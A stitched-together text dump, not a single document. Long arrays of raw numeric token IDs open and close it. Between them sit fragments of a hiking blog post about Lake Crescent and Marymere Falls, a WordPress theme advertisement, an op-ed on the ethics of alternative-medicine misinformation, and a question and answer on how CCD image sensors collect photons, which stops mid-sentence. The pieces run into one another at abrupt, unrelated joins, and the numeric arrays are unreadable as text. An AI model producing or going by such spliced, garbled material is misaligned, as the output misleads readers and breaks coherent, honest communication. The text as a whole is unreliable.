380, 2101, 33483, 31606, 21832, 13, 534, 369, 4270, 347, 247, 2444, 18217, 1309, 3645, 3660, 309, 13, 369, 1469, 281, 320, 908, 281, 4616, 2101, 33483, 7139, 281, 6162, 9757, 281, 1973, 2329, 32763, 1309, 253, 2137, 13, 2299, 13, 1078, 253, 18217, 369, 6312, 13, 253, 2137, 7402, 285, 253, 21327, 369, 417, 21792, 15, 380, 11693, 310, 1048, 13, 533, 6507, 13, 2403, 352, 3962, 323, 253, 2021, 275, 4829, 667, 8588, 15, 2058, 1475, 854, 6574, 3790, 7408, 13, 352, 310, 1048, 13, 533, 253, 5043, 1930, 310, 326, 352, 310, 581, 273, 253, 1643, 27192, 275, 667, 3313, 4913, 326, 4483, 9097, 285, 31739, 15, 3900, 627, 403, 247, 1643, 5053, 835, 253, 13599, 2189, 556, 1705, 689, 253, 11693, 13, 352, 310, 4336, 4999, 285, 973, 14, 30644, 15, 187, 187, 11148, 300, 457, 84, 367, 3204, 11939, 77, 2112, 9396, 48493, 1154, 187, 187, 2374, 253, 2101, 33483, 31606, 21832, 13, 581, 476, 923, 1142, 1841, 13, 12319, 432, 49647, 6849, 285, 23859, 37285, 281, 3676, 17120, 11385, 285, 13966, 716, 27414, 25284, 15, 2596, 273, 253, 16681, 273, 253, 11693, 13, 9255, 432, 253, 41644, 326, 908, 281, 320, 23859, 37285, 310, 253, 32974, 457, 84, 367, 3204, 11939, 77, 15, 329, 4633, 17120, 7793, 275, 5890, 8588, 13, 253, 32974, 457, 84, 367, 3204, 11939, 77, 310, 253, 7445, 17120, 7793, 15, 2058, 4829, 2233, 649, 3676, 987, 1735, 281, 253, 28900, 13, 352, 310, 247, 4999, 1659, 323, 10831, 16451, 285, 7940, 281, 6923, 323, 11010, 715, 271, 355, 23344, 14593, 15, 380, 5460, 5926, 745, 387, 32974, 457, 84, 367, 3204, 11939, 77, 3548, 457, 85, 3710, 281, 326, 2170, 13, 347, 9396, 48493, 1154, 3139, 310, 15335, 12891, 649, 3676, 13, 533, 690, 3332, 2175, 452, 4845, 352, 689, 9098, 649, 3676, 13, 2403, 436, 8763, 16915, 1014, 625, 19796, 15, 187, 187, 45, 640, 48493, 1154, 187, 187, 22641, 13, 253, 9396, 48493, 1154, 2170, 310, 594, 11117, 352, 310, 1682, 323, 247, 1264, 1388, 8849, 13, 533, 368, 476, 513, 352, 689, 247, 1388, 13, 23447, 247, 1048, 1388, 15, 399, 19674, 598, 432, 10406, 571, 13, 368, 476, 27966, 1097, 27192, 13, 2670, 923, 285, 452, 247, 1643, 1175, 16961, 285, 755, 896, 1728, 275, 1679, 685, 1249, 3038, 15, 3900, 436, 778, 1646, 247, 2372, 1199, 13, 253, 6849, 13, 253, 4446, 285, 253, 2793, 281, 4264, 581, 273, 5041, 457, 84, 954, 762, 14092, 3672, 310, 973, 4409, 253, 7408, 15, 3166, 352, 436, 8849, 13, 513, 352, 327, 634, 1388, 745, 2866, 3088, 352, 1024, 285, 4264, 9396, 48493, 1154, 1078, 253, 24597, 12666, 436, 5768, 2, 187, 187, 16760, 4913, 16398, 15592, 187, 187, 35638, 281, 776, 20299, 187, 187, 51, 3528, 3997, 323, 776, 7774, 15, 187, 1394, 943, 956, 380, 6282, 11806, 8273, 327, 7879, 15, 187, 187, 2925, 7310, 22031, 42113, 187, 187, 43217, 1514, 31198, 380, 6952, 342, 19757, 15682, 28771, 318, 13, 3771, 247, 15682, 285, 634, 4422, 310, 4704, 323, 897, 15, 5402, 17855, 310, 7938, 281, 4270, 13, 3477, 281, 897, 708, 14736, 10797, 49874, 1025, 15, 187, 187, 2042, 634, 2819, 323, 1361, 342, 776, 16876, 436, 310, 253, 1659, 281, 320, 15, 844, 452, 247, 7020, 273, 1270, 10556, 326, 921, 368, 849, 281, 9978, 776, 16876, 15, 1244, 1046, 10014, 3249, 342, 19415, 708, 16428, 15027, 318, 281, 1361, 342, 2761, 667, 2523, 15, 510, 1268, 273, 3731, 18480, 670, 5795, 9921, 556, 4925, 253, 1127, 835, 352, 310, 990, 606, 2158, 1363, 187, 187, 10195, 952, 1158, 3739, 18035, 310, 247, 6079, 285, 22258, 2256, 7194, 323, 253, 21983, 590, 27731, 273, 8371, 571, 15, 13529, 812, 320, 2007, 432, 253, 5083, 15, 2596, 273, 253, 31971, 13698, 273, 3739, 18035, 310, 281, 1056, 2119, 326, 952, 4763, 9694, 326, 2837, 1598, 513, 625, 1175, 685, 5237, 13, 594, 352, 3587, 7033, 281, 253, 1786, 285, 46128, 273, 512, 273, 441, 15, 187, 187, 688, 6041, 9921, 13, 7418, 4999, 36259, 403, 275, 1659, 281, 1056, 2119, 11576, 29534, 281, 3839, 7607, 16289, 7465, 15, 496, 5795, 9921, 13, 2299, 13, 3739, 18035, 556, 8127, 6376, 247, 9645, 6308, 15, 187, 187, 510, 8233, 7089, 273, 667, 2238, 943, 9403, 320, 2668, 846, 247, 11723, 5702, 556, 2530, 1941, 14, 3169, 7535, 281, 247, 3110, 15, 496, 5795, 9921, 13, 407, 4499, 13, 11349, 2223, 1056, 598, 616, 1211, 13846, 1880, 281, 1611, 436, 390, 326, 1971, 28, 7535, 310, 417, 17396, 533, 1491, 310, 7735, 5954, 2130, 15, 187, 187, 688, 1340, 281, 5416, 253, 11349, 8, 4327, 15693, 625, 1175, 685, 5237, 13, 253, 13644, 2130, 1491, 327, 5795, 9921, 651, 878, 281, 320, 9630, 15, 844, 512, 871, 326, 436, 310, 417, 253, 1083, 285, 326, 40694, 327, 2233, 6, 13367, 275, 247, 1959, 2791, 651, 320, 530, 3956, 757, 15, 8452, 13, 323, 4227, 13, 812, 1014, 3135, 281, 26925, 253, 2456, 78, 390, 594, 14248, 326, 6186, 11349, 342, 1491, 327, 5795, 9694, 32, 1292, 387, 253, 1077, 1878, 13, 1491, 2530, 407, 11723, 12440, 943, 417, 990, 3751, 253, 10630, 15, 187, 187, 510, 43296, 6051, 958, 13, 2299, 13, 310, 326, 253, 1491, 12164, 407, 24432, 273, 5795, 9921, 310, 2223, 18464, 13, 3430, 390, 5434, 4087, 24363, 281, 253, 1127, 273, 10369, 990, 606, 2158, 1345, 1786, 285, 3021, 26554, 3739, 18035, 15, 187, 187, 4943, 403, 767, 6667, 281, 896, 598, 436, 13433, 3908, 15, 380, 806, 7033, 281, 5591, 21477, 1658, 974, 641, 665, 7208, 1891, 281, 4044, 8191, 7578, 1078, 12767, 616, 1363, 15, 9110, 13, 1293, 352, 13, 8191, 7089, 403, 7479, 15, 12053, 68, 1365, 13, 253, 3480, 273, 8191, 7578, 310, 247, 2590, 8411, 273, 1046, 16289, 2127, 2455, 3542, 15, 187, 187, 3220, 1273, 1650, 7033, 281, 1110, 5591, 1728, 11036, 84, 313, 395, 21477, 1658, 974, 641, 10, 665, 22276, 247, 3101, 417, 281, 7062, 4024, 617, 1429, 15, 831, 417, 760, 990, 11207, 253, 1786, 273, 326, 1798, 1429, 13, 533, 812, 3324, 896, 18023, 6578, 327, 247, 1781, 4311, 15, 187, 187, 26149, 800, 26690, 403, 417, 253, 760, 4394, 665, 21319, 440, 678, 1037, 15, 37120, 1346, 665, 5580, 1728, 27406, 24371, 390, 31540, 401, 12973, 6235, 264, 447, 1293, 2403, 352, 2590, 326, 597, 3831, 417, 247, 2014, 12570, 273, 3939, 24405, 671, 20835, 616, 1211, 16289, 2127, 15, 496, 958, 13, 512, 11723, 12440, 665, 25596, 13, 44482, 390, 8591, 557, 856, 1261, 9694, 2740, 7936, 4803, 273, 3739, 18035, 15, 187, 187, 1276, 812, 320, 7197, 685, 2060, 11723, 12440, 50090, 440, 678, 1037, 32, 7160, 5702, 23617, 2509, 253, 1072, 15, 5595, 21477, 1658, 974, 280, 23617, 11762, 1056, 9282, 3916, 326, 403, 417, 4516, 407, 1941, 15, 187, 187, 29129, 13, 253, 8273, 273, 9067, 11036, 84, 3916, 327, 697, 4422, 326, 13, 323, 247, 4618, 2491, 273, 4092, 2515, 13, 253, 1941, 323, 1728, 15819, 310, 21414, 15, 2596, 273, 731, 310, 247, 7826, 4092, 1617, 326, 476, 2826, 846, 5869, 13, 1925, 1501, 14, 7105, 30042, 316, 15, 17826, 1037, 13, 597, 2613, 436, 1798, 1750, 327, 271, 3929, 3863, 407, 619, 2285, 15, 1737, 597, 1891, 281, 3748, 310, 326, 776, 3929, 7945, 326, 346, 43249, 15985, 1832, 31423, 247, 25038, 31536, 3446, 187, 187, 1898, 752, 812, 320, 7197, 685, 3872, 23617, 26554, 3739, 18035, 32, 5625, 23617, 2509, 253, 1072, 15, 3808, 1107, 3622, 13, 247, 1304, 432, 253, 3645, 4775, 44115, 7558, 326, 42543, 310, 247, 346, 856, 1261, 4918, 3, 323, 247, 2491, 273, 4092, 285, 1555, 494, 2515, 1690, 13, 323, 4227, 13, 9980, 15, 9110, 253, 1941, 2722, 253, 7285, 27, 247, 40607, 2278, 7945, 346, 26747, 627, 310, 642, 2590, 1941, 327, 253, 2538, 273, 42543, 327, 749, 31738, 390, 6722, 9980, 15, 187, 187, 34, 1304, 432, 247, 973, 14, 373, 5344, 19156, 824, 347, 253, 18896, 310, 1239, 1475, 253, 1533, 15, 496, 619, 1859, 13, 436, 310, 3103, 440, 49628, 327, 247, 4156, 4311, 15, 187, 187, 2598, 3739, 18035, 310, 2712, 533, 22258, 15, 380, 1268, 273, 3731, 18480, 670, 5795, 9921, 556, 1024, 4925, 253, 1127, 835, 352, 556, 2489, 8312, 285, 440, 49628, 15, 1893, 2080, 13, 5795, 9921, 556, 6376, 271, 18035, 14, 4924, 8232, 15, 733, 310, 673, 281, 1818, 436, 15, 50, 27, 187, 187, 10795, 247, 8468, 1385, 253, 1180, 273, 20370, 326, 12830, 352, 32, 187, 187, 42, 1353, 6110, 275, 253, 650, 698, 25912, 2460, 1083, 15, 35990, 688, 247, 8468, 627, 310, 271, 3781, 273, 38674, 534, 4822, 20370, 15, 35990, 9, 7781, 27, 11988, 275, 2065, 454, 16132, 31475, 322, 32541, 10, 187, 10795, 1016, 13369, 1385, 253, 1180, 273, 6298, 313, 263, 13596, 10, 4561, 407, 1016, 15523, 32, 35990, 3980, 310, 627, 581, 2625, 534, 310, 253, 2020, 273, 512, 20370, 313, 249, 534, 1083, 253, 1979, 273, 253, 2625, 943, 3469, 327, 15523, 2341, 18289, 6177, 187, 1898, 671, 309, 1353, 29985, 1016, 13369, 2723, 281, 247, 12275, 32, 187, 14087, 10414, 651, 320, 14109, 15, 187, 187, 34, 27, 187, 187, 7093, 3048, 25339, 849, 247, 33169, 313, 7778, 9904, 2813, 10, 2460, 8468, 2987, 15, 5838, 13, 33169, 84, 452, 4893, 16280, 3888, 13479, 13, 533, 253, 8485, 5020, 273, 33169, 84, 403, 908, 347, 2460, 13479, 13, 285, 326, 310, 253, 760, 3625, 2898, 309, 588, 320, 16585, 15, 187, 2648, 19277, 187, 688, 6867, 33169, 84, 908, 323, 3295, 2460, 17950, 1016, 33169, 894, 556, 247, 3295, 5806, 689, 352, 15, 380, 954, 7744, 908, 3102, 2390, 577, 1341, 2366, 342, 581, 2502, 5806, 13, 581, 4797, 5806, 13 ]

you views ofMount Storm King and Pyramid Peak, which used to be a World War II spotter cabin to watch for Japanese aircraft that may attack Puget Sound. Looking like the fjords of Norway, Lake Crescent sits at the bottom of these small, rugged peaks. The log cabin style Storm King Ranger station, when open, will give you the history of the area, as well as provide some pretty fantastic pictures of the region. It is by this ranger station that the Marymere Falls trail is located. The Trail to Marymere Falls The Trail to Marymere Falls The Trail to Marymere Falls Well-marked, easily followed and basically a flat walk through the dense forests of the Northern Olympic Peninsula Rain Forest, Marymere Falls is awesome. At 1.5 miles round trip, this trail is less of a hike and more of a walk. Half a mile down the trail, a fork appears, and if feeling adventurous, you can go climb Mt. Storm King, which is a 3.8 mile round trip hike in which you gain 1700 feet. At 2400ft, Mt Storm King offers fantastic views of Lake Crescent, as well as a great picnic spot away from the throngs of hikers on the Marymere Falls trail. However, if you decide to go to the falls and battle the crowds, you will be greatly rewarded. After you cross the new metal bridge over the river, the last 400ft of the trail climbs pretty steadily along a ridge, leading you to a great view of Marymere Falls. Take your time walking up this railed path, enjoy the greens of the rain forests and soon you will be given a breathtaking view of a small, yet gorgeous waterfall. At a height of 90ft, this waterfall is impressive in its simplicity. The Trail to Marymere Falls Marymere Falls After a short hike back to the Ranger Station, you still have time to hop in your car and drive about 4 miles west until you get to Camp David Jr. Road, which is home to the Spruce Railroad Trail. The Spruce Railroad Trail, which was built as a working railway during World War I, was going to be used to transport Spruce trees to Port Angeles to build airplanes during the war, however, before the railway was completed, the war ended and the forests was not harvested. The trail is long, but flat, making it perfect for the family in nearly any weather. At around 8 miles round trip, it is long, but the plus side is that it is one of the few trails in any National Park that allows dogs and bikes. While there are a few places where the hillside has come over the trail, it is completely safe and well-marked. Devil’s Punchbowl along Lake Crescent On the Spruce Railroad Trail, one can see many things, ranging from scenic views and railroad tunnels to deep swimming holes and abandoned telegraph poles. One of the highlights of the trail, aside from the caves that used to be railroad tunnels is the Devil’s Punchbowl. A popular swimming hole in warm weather, the Devil’s Punchbowl is the ideal swimming hole. At nearly 100ft deep right next to the cliff, it is a safe place for swimmers and divers to jump for joy into an alpine lake. The severe drop off at Devil’s Punchbowl isn’t limited to that area, as Lake Crescent itself is officially 600ft deep, but some recent studies have placed it over 1000ft deep, making this hidden gem even more mysterious. Lake Crescent Overall, the Lake Crescent area is so diverse it is best for a three day weekend, but you can do it over a day, albeit a long day. Driving up from Olympia, you can hike both trails, site see and have a few good meals and get back home in less than 12 hours. While this may seem a bit much, the views, the drive and the experience to enjoy one of Washington’s most underrated areas is well worth the trip. Do it this weekend, do it on your day off…do it now and enjoy Lake Crescent before the crowds arrive this summer! National Park Guidebooks Subscribe to our Blog RSS feed for our articles. You should follow The Outdoor Society on Twitter. ABOUT YOUR BUSINESS Premium WordPress Themes with Single Click Installation, Just a Click and your website is ready for use. Your Site is faster to built, easy to use & Search Engine Optimized. If your looking for help with our themes this is the place to be. We have a ton of great videos that show you how to setup our themes. And every theme comes with PDF & Video Documentation to help with almost any issue.The level of misinformation about alternative medicine has reached the point where it is endangering patients Many people think medical ethics is a dry and boring subject mainly for the ivory towers of academia. Nothing could be further from the truth. One of the foremost aims of medical ethics is to make sure that people receive treatments that demonstrably do more good than harm, so it directly relates to the health and wellbeing of all of us. In conventional medicine, numerous safeguards are in place to make sure doctors adhere to generally accepted ethical standards. In alternative medicine, however, medical ethics has largely remained a blind spot. Therapeutic decisions of any kind should normally be taken after a healthcare professional has provided evidence-based advice to a patient. In alternative medicine, by contrast, consumers often make up their own minds whether to try this or that treatment; advice is not mandatory but information is abundantly available. In order to ensure the consumers' choice generates more good than harm, the publicly available information on alternative medicine would need to be reliable. We all know that this is not the case and that insisting on 100% reliability in a free market would be Utopian. Who, for instance, could even begin to vet the 50m or so websites that supply consumers with information on alternative treatments? But at the very least, information provided by healthcare professionals should not endanger the consumer. The undeniable fact, however, is that the information supplied by practitioners of alternative medicine is often incomplete, wrong or dangerously misleading to the point of seriously endangering public health and thus violating medical ethics. Here are two examples to back up this bold statement. The first relates to UK chiropractors who frequently fail to obtain informed consent before treating their patients. Yet, without it, informed decisions are impossible. Crucially, the lack of informed consent is a clear violation of every ethical code ever written. My second example relates to those UK homeopaths (and chiropractors) who advise a mother not to vaccinate her child. This not only endangers the health of that particular child, but could bring back infectious diseases on a large scale. Alternative clinicians are not the only ones who behave unethically. Pharmacists who sell homeopathic remedies or Bach Flower Remedies without making it clear that they contain not a single molecule of active ingredient also violate their own ethical code. In fact, all healthcare professionals who administer, prescribe or promote disproven treatments break fundamental rules of medical ethics. What could be worse than individual healthcare professionals behaving unethically? Their professional organisations doing the same. Most chiropractic organisations worldwide make therapeutic claims that are not supported by evidence. Similarly, the Society of Homeopaths claims on its website that, for a wide range of serious conditions, the evidence for homeopathy is convincing. One of them is a potentially serious condition that can occur after surgery, called post-operative ileus. Ironically, they base this particular claim on an article published by my team. What they fail to mention is that our article concluded that "several caveats preclude a definitive judgement". And what could be worse than national organisations violating medical ethics? International organisations doing the same. Some years ago, a report from the World Health Organisation claimed that acupuncture is a "proven therapy" for a range of serious and treatable conditions including, for instance, stroke. Yet the evidence shows the opposite: a Cochrane review concluded "Currently there is no clear evidence on the effects of acupuncture on subacute or chronic stroke. A report from a well-respected organisation such as the WHO is read around the world. In my view, this is therefore unethical on a global scale. So medical ethics is anything but boring. The level of misinformation about alternative medicine has now reached the point where it has become dangerous and unethical. So far, alternative medicine has remained an ethics-free zone. It is time to change this.Q: Does a sensor count the number of photons that hits it? I'm interested in the grayscale image case. In a sensor there is an array of cavities which collect photons. (Source: Cambridge in Colour Digital Camera Sensors) Does each cavity count the number of signals (or peaks) generated by each photon? Or is there one signal which is the sum of all photons (in which case the size of the signal should depend on photon energy presumably)? And also I'm guessing each cavity correspond to a pixel? Additional references would be appreciated. A: Your link discusses how a CCD (charge coupled device) image sensor works. Note, CCDs have applications besides images sensors, but the vast majority of CCDs are used as image sensors, and that is the only primary application I will be discussing. CCDs In typical CCDs used for color image sensing each CCD cell has a color filter over it. The most commonly used pattern groups 4 cells together with one red filter, one blue filter,

[ 187, 11, 209, 3193, 224, 71, 18140, 12811, 120, 9078, 106, 40500, 5959, 120, 6238, 14274, 18617, 122, 5941, 106, 43780, 3487, 20622, 16401, 34811, 5690, 99, 4340, 187, 11, 209, 3193, 224, 81, 27, 209, 26772, 40500, 5959, 120, 5225, 22975, 16849, 236, 19780, 120, 16800, 125, 28915, 237, 40500, 20616, 244, 7297, 115, 36337, 227, 5225, 37062, 21275, 4340, 187, 11, 209, 3193, 224, 69, 18140, 40500, 20616, 244, 44126, 12755, 242, 6238, 43300, 14274, 23956, 236, 20720, 29268, 105, 14318, 232, 4340, 187, 187, 21, 15, 18617, 123, 5690, 99, 41807, 29687, 187, 187, 44717, 29297, 12105, 33656, 214, 12335, 43780, 3487, 209, 3193, 224, 73, 4340, 44717, 11827, 102, 16677, 22975, 6238, 12676, 211, 14486, 121, 36361, 12335, 36778, 31949, 6238, 11827, 102, 16677, 24335, 9, 37373, 32938, 30329, 11023, 13609, 5225, 23692, 215, 8587, 236, 12811, 120, 34179, 14262, 236, 23373, 49835, 107, 13764, 235, 13609, 10, 44126, 12755, 242, 33656, 214, 12335, 6238, 42522, 44126, 12755, 242, 14262, 236, 44508, 224, 21275, 47961, 21991, 29427, 29297, 20281, 28915, 239, 14486, 97, 28327, 15756, 118, 4340, 38672, 100, 44126, 12755, 242, 5225, 209, 9078, 227, 16677, 29268, 102, 6765, 106, 20326, 17, 37542, 23, 6238, 6765, 236, 40500, 20616, 244, 44126, 12755, 242, 3193, 238, 7719, 101, 6765, 236, 16877, 43780, 3487, 34811, 5690, 99, 14236, 27727, 16740, 3193, 224, 73, 39573, 15531, 14106, 24370, 27937, 29440, 4340, 187, 187, 817, 29393, 187, 187, 18, 15, 21275, 12335, 187, 187, 250, 13449, 18617, 123, 5690, 99, 5225, 21275, 12335, 12105, 34698, 24308, 7719, 109, 37062, 14129, 96, 47615, 5959, 120, 6238, 39465, 5225, 29463, 12676, 214, 48889, 12105, 44126, 12755, 242, 46419, 24017, 20012, 4340, 187, 187, 19, 15, 45683, 30077, 187, 187, 250, 13449, 544, 3193, 224, 79, 62, 544, 3193, 224, 88, 62, 544, 3193, 224, 69, 62, 544, 3193, 224, 71, 62, 544, 3193, 224, 74, 62, 187, 187, 20, 15, 34204, 18764, 39573, 15531, 187, 187, 11, 209, 3193, 224, 79, 27, 209, 13610, 34698, 35930, 5959, 120, 22329, 14274, 28915, 237, 37373, 14129, 110, 16549, 217, 29645, 23692, 215, 8587, 236, 14262, 236, 26270, 49835, 107, 13764, 235, 5225, 37062, 21275, 4340, 187, 11, 209, 3193, 224, 88, 27, 209, 42843, 14274, 20281, 48561, 5225, 34698, 35930, 5959, 120, 6238, 46987, 12105, 18751, 221, 14129, 110, 14318, 232, 14262, 236, 22044, 16, 2044, 16, 2808, 16, 88, 12780, 42522, 42013, 4340, 187, 11, 209, 3193, 224, 69, 27, 209, 14274, 18751, 221, 14129, 110, 14318, 232, 14262, 236, 22044, 16, 2044, 16, 2808, 16, 88, 12780, 42522, 42013, 14236, 3193, 224, 79, 20622, 16401, 39573, 15531, 15899, 216, 7719, 106, 17492, 3193, 224, 69, 14106, 4340, 187, 11, 209, 3193, 224, 74, 27, 209, 13610, 34698, 35930, 5959, 120, 29766, 22329, 43216, 18751, 221, 25276, 14377, 40564, 19957, 228, 12755, 239, 32313, 40500, 5225, 29626, 216, 28791, 28915, 239, 14486, 97, 4340, 187, 187, 817, 3334, 187, 187, 18, 15, 21275, 12335, 187, 187, 12543, 18617, 123, 5690, 99, 5225, 21275, 12335, 12105, 38028, 29626, 216, 37542, 12363, 218, 29268, 102, 27258, 109, 23366, 37542, 7249, 218, 5690, 123, 36998, 6238, 39465, 5225, 29463, 12676, 214, 48889, 12105, 25276, 14377, 12335, 46136, 4340, 187, 187, 19, 15, 45683, 30077, 535, 50274, 9, 18, 10, 12543, 544, 49037, 19780, 119, 62, 2866, 209, 24370, 36337, 227, 209, 28154, 5225, 24086, 187, 50274, 9, 19, 10, 12543, 544, 49037, 19780, 119, 62, 2866, 209, 24370, 36337, 227, 2866, 209, 28154, 14318, 232, 187, 50274, 9, 20, 10, 12543, 209, 3193, 224, 69, 544, 49037, 19780, 119, 62, 2866, 209, 28154, 14318, 232, 2866, 187, 187, 13610, 22329, 3218, 99, 49288, 45683, 30077, 13609, 6238, 20281, 37373, 29, 24370, 36337, 227, 31, 7249, 224, 34179, 16787, 113, 29, 28154, 5225, 24086, 31, 37542, 37373, 24899, 16401, 29, 24370, 36337, 227, 31, 42522, 7249, 224, 34179, 16787, 113, 48584, 32938, 13610, 5225, 29, 28154, 14318, 232, 31, 6238, 209, 24412, 22975, 42205, 17576, 12676, 214, 48889, 41202, 30077, 40658, 25276, 14377, 20012, 16, 25276, 17955, 241, 41251, 4340, 13610, 24893, 36168, 49288, 45683, 30077, 13609, 6238, 20281, 6765, 238, 40309, 25276, 14377, 34811, 17576, 5225, 28154, 14318, 232, 40658, 39465, 23788, 5225, 34204, 28154, 14318, 232, 4340, 28607, 125, 49037, 19780, 119, 41250, 19780, 121, 12335, 5225, 39573, 15531, 13610, 29463, 25762, 244, 49037, 19780, 119, 22975, 35724, 12105, 41250, 19780, 121, 5225, 4340, 187, 187, 20, 15, 34204, 18764, 39573, 15531, 187, 187, 11, 428, 3193, 224, 45978, 60, 30, 37423, 62, 18140, 20326, 22985, 226, 16401, 48584, 32938, 13610, 5225, 28154, 5225, 24086, 42522, 36778, 16677, 7249, 218, 5690, 123, 4340, 187, 11, 428, 67, 18140, 35498, 13127, 122, 209, 3193, 224, 3193, 224, 45978, 6238, 43300, 14274, 33474, 43368, 44573, 35201, 39573, 15531, 4340, 187, 11, 428, 68, 18140, 9, 43873, 49037, 19780, 119, 14274, 21275, 7249, 215, 24017, 10, 4340, 187, 11, 428, 69, 6238, 3193, 224, 3193, 224, 26758, 18140, 25276, 14377, 39573, 15531, 34446, 21275, 20326, 28154, 14318, 232, 7249, 215, 24017, 6238, 38328, 3218, 231, 20281, 6765, 238, 40309, 34811, 17576, 28154, 14318, 232, 5225, 25276, 14377, 34204, 28154, 14318, 232, 4340, 187, 11, 428, 37, 18140, 6765, 238, 40309, 29, 28154, 5225, 24086, 31, 22329, 5225, 25276, 14377, 34204, 28154, 14318, 232, 6238, 38389, 29427, 37373, 29, 24370, 36337, 227, 31, 7249, 224, 34179, 16787, 113, 654, 28154, 5225, 24086, 31, 3193, 238, 13610, 24893, 9850, 49288, 29463, 45683, 30077, 13609, 14377, 12335, 4340, 187, 11, 428, 72, 6238, 3193, 224, 3193, 224, 4399, 30, 41251, 18140, 21232, 16677, 42205, 17576, 25276, 17955, 241, 41251, 6238, 38328, 14274, 12105, 36778, 31949, 28154, 22329, 5225, 25276, 17955, 241, 41251, 4340, 187, 11, 428, 78, 6238, 3193, 224, 3193, 224, 9561, 30, 41202, 30077, 18140, 21232, 16677, 42205, 17576, 12676, 214, 48889, 41202, 30077, 313, 44314, 348, 2307, 10, 6238, 38328, 14274, 12105, 83, 22358, 83, 3193, 224, 89, 83, 3193, 224, 89, 4340, 187, 11, 428, 80, 6238, 3193, 224, 3193, 224, 18602, 30, 25276, 14377, 20012, 18140, 21232, 16677, 42205, 17576, 25276, 14377, 20012, 313, 46987, 11016, 213, 12335, 30329, 34138, 216, 29268, 102, 12335, 46136, 10, 4340, 187, 11, 428, 81, 6238, 3193, 224, 3193, 224, 39810, 3193, 224, 12292, 383, 11441, 18140, 16877, 29, 24370, 36337, 227, 31, 42522, 5225, 14129, 125, 49271, 16, 16818, 108, 43316, 22975, 37286, 21275, 20326, 32313, 36361, 5225, 28154, 5225, 24086, 42522, 5225, 22975, 37286, 17955, 241, 21734, 4340, 187, 11, 428, 84, 6238, 3193, 224, 3193, 224, 25763, 18140, 12335, 25763, 18617, 123, 5690, 99, 6765, 243, 42951, 25354, 2829, 6238, 46987, 11016, 213, 12335, 30329, 24893, 9850, 40658, 24893, 34744, 49288, 29463, 45683, 30077, 4340, 187, 11, 428, 52, 6238, 3193, 224, 3193, 224, 49959, 30, 29427, 37661, 211, 18140, 21232, 16677, 34811, 17576, 7249, 218, 5690, 123, 42522, 5225, 29, 29427, 37661, 211, 31, 4340, 187, 11, 428, 87, 6238, 3193, 224, 3193, 224, 49737, 18140, 7249, 215, 24017, 22985, 226, 16401, 42522, 16, 28154, 14318, 232, 22975, 12363, 110, 18678, 28610, 16998, 110, 4340, 187, 11, 428, 3193, 224, 13070, 18140, 8841, 124, 30420, 43873, 15446, 108, 11043, 104, 32165, 43136, 42843, 44020, 121, 35930, 4340, 187, 11, 428, 3193, 224, 4149, 18140, 8841, 124, 30420, 15957, 219, 18957, 32165, 43136, 42843, 44020, 121, 35930, 4340, 187, 16285, 187, 18, 15, 21275, 12335, 187, 16285, 18617, 123, 5690, 99, 5225, 21275, 12335, 12105, 27727, 27258, 123, 42522, 44126, 12755, 242, 6238, 39465, 5225, 12335, 12676, 214, 48889, 12105, 34138, 216, 29268, 102, 12335, 46136, 37542, 16, 14069, 16, 71, 42802, 13609, 7056, 212, 14129, 118, 5225, 29463, 20012, 4340, 187, 19, 15, 45683, 30077, 187, 16285, 209, 3193, 224, 66, 544, 3193, 224, 38379, 62, 544, 3193, 224, 85, 362, 71, 296, 1692, 62, 544, 3193, 224, 79, 62, 544, 3193, 224, 30217, 62, 544, 3193, 224, 39, 62, 2813, 14035, 187, 20, 15, 34204, 18764, 39573, 15531, 187, 11, 428, 73, 18140, 8841, 124, 30420, 21365, 216, 11043, 104, 32165, 43136, 4340, 187, 11, 428, 87, 18140, 8841, 124, 30420, 32165, 43136, 6238, 27804, 36548, 21458, 3193, 224, 71, 12335, 24370, 42951, 39915, 236, 4340, 187, 11, 428, 66, 18140, 37373, 16, 14069, 16, 71, 42802, 13609, 17576, 11871, 220, 5225, 25276, 14377, 42522, 44126, 12755, 242, 18245, 213, 16740, 4340, 187, 11, 428, 39, 18140, 20622, 16401, 18617, 123, 5690, 99, 27804, 36548, 21458, 3193, 224, 66, 9850, 39859, 29463, 6238, 39465, 20281, 20326, 22985, 226, 27896, 16285, 5225, 37062, 21275, 5494, 102, 20025, 27896, 16677, 31949, 29832, 242, 29832, 98, 11827, 102, 16677, 4340, 13610, 44126, 12755, 242, 47905, 18245, 213, 16740, 15962, 37079, 47, 7864, 42522, 44126, 12755, 242, 22975, 33018, 27727, 16549, 106, 27727, 27258, 123, 5225, 11016, 242, 209, 29485, 4340, 187, 11, 428, 71, 18140, 27804, 36548, 12335, 30329, 42951, 39915, 236, 4340, 39465, 20281, 22160, 16285, 14274, 11827, 102, 16677, 36750, 17783, 216, 18245, 213, 16740, 5225, 37062, 21275, 6238, 38328, 12105, 41202, 23825, 242, 10962, 114, 16401, 18245, 213, 16740, 5225, 32004, 31949, 6238, 27804, 36548, 20281, 21458, 3193, 224, 87, 9850, 39859, 29463, 4340, 187, 11, 428, 85, 362, 71, 296, 1692, 18140, 8841, 124, 30420, 41873, 27727, 27258, 123, 42522, 44126, 12755, 242, 5225, 35498, 34380, 4340, 187, 11, 428, 79, 18140, 9850, 34372, 107, 38328, 31982, 6238, 16285, 18245, 213, 16740, 29427, 20281, 13610, 16, 14069, 16, 6917, 357, 13609, 14262, 236, 23373, 9850, 18947, 231, 23692, 215, 8587, 236, 6238, 13610, 44126, 12755, 242, 13609, 46049, 14377, 18148, 14262, 236, 23373, 42522, 44126, 12755, 242, 5225, 34397, 14262, 115, 20720, 6238, 33018, 12335, 20622, 16401, 49037, 19780, 119, 27937, 37933, 219, 20622, 16401, 37062, 21275, 4340, 187, 21, 15, 36361, 12335, 18751, 211, 16385, 102, 187, 13610, 32490, 21458, 2447, 895, 44126, 12755, 242, 16740, 6238, 25276, 14377, 42522, 34446, 12105, 21275, 20326, 27896, 15962, 34380, 15756, 228, 14236, 16877, 16, 20326, 15756, 119, 14106, 5225, 9850, 26795, 18434, 14129, 125, 49271, 5225, 4340, 18764, 14129, 125, 49271, 3717, 14, 34940, 16740, 5225, 42522, 6238, 47905, 37373, 3717, 14, 34940, 42205, 7249, 218, 18245, 213, 209, 29626, 216, 13610, 42522, 15756, 228, 13609, 5225, 26974, 227, 16401, 18245, 213, 29626, 216, 29734, 4340, 42055, 29918, 16677, 15957, 219, 38028, 29626, 216, 17492, 21232, 37062, 18245, 213, 29626, 216, 15899, 216, 6238, 40693, 43244, 20622, 16401, 14486, 100, 48604, 99, 18148, 21232, 37062, 36778, 16677, 4340, 13610, 32490, 13609, 6238, 209, 42055, 18764, 29463, 49835, 107, 13764, 235, 4746, 7056, 220, 165, 104, 